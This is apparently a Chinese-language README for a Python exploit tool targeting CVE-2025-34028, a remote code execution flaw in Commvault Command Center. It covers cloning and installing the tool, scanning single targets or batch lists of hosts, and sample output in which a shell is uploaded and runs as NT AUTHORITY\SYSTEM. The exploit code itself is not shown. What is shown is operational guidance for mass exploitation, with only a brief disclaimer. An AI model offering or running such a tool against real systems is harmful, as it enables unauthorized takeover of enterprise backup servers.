CVE-2025-34028 - Commvault Command Center 远程代码执行

一个针对 CVE-2025-34028 的 Python 漏洞利用工具，该漏洞是 Commvault Command Center 中的一个远程代码执行漏洞。此工具支持测试单个目标或批量扫描多个主机。

功能

• 支持单个目标或批量扫描
• 自动验证 Commvault 实例
• 详细输出，包含系统用户信息
• 每次执行生成随机路径
• 易受攻击主机的清晰汇总表
• 全面的错误处理

安装

git clone https://github.com/Mattb709/CVE-2025-34028-Commvault
cd CVE-2025-34028-Commvault
pip install -r requirements.txt

环境要求

• Python 3.6+
• 所需依赖包：
  • requests
  • tabulate

使用以下命令安装依赖：

pip install requests tabulate

使用方法

usage: CVE-2025-34028-Commvault.py [-h] (-t TARGET | -f TARGETS_FILE)

CVE-2025-34028 Commvault RCE Exploit

options:
  -h, --help            show this help message and exit
  -t TARGET, --target TARGET
                        Single target URL (e.g., https://192.168.1.100:8000)
  -f TARGETS_FILE, --file TARGETS_FILE
                        File containing multiple targets, one per line

示例

测试单个目标：

python CVE-2025-34028-Commvault.py -t https://commvault.example.com:8000

从文件批量扫描多个目标：

python CVE-2025-34028-Commvault.py -f targets.txt

目标文件格式

目标文件每行应包含一个目标，格式如下：

https://host:port
http://ip

示例 targets.txt：

https://cv.company.com:8000
http://192.168.1.100
https://10.10.10.5:443

输出结果

该脚本提供：

• 每个目标的实时进度与状态
• 易受攻击主机的详细输出
• 所有已测试主机的汇总表
• 清晰标识成功利用的目标

示例输出：

CVE-2025-34028 Commvault RCE PoC

[1] Processing target: https://cvtest.example.com:8000
[1] [+] Valid Commvault instance detected
[1] [+] Shell uploaded successfully
[1] [+] System User: NT AUTHORITY\SYSTEM

[+] Results Summary
+---------+------------------------------+---------------------+------------------+
| Index   | URL                          | Status              | System User      |
+---------+------------------------------+---------------------+------------------+
| 1       | https://cvtest.example.com:8000 | RCE Successful      | NT AUTHORITY\SYSTEM |
+---------+------------------------------+---------------------+------------------+

免责声明

此工具仅用于教育和授权测试目的。作者不对任何因使用本程序而导致的滥用或损害负责。

许可证

MIT 许可证 - 详见 LICENSE 文件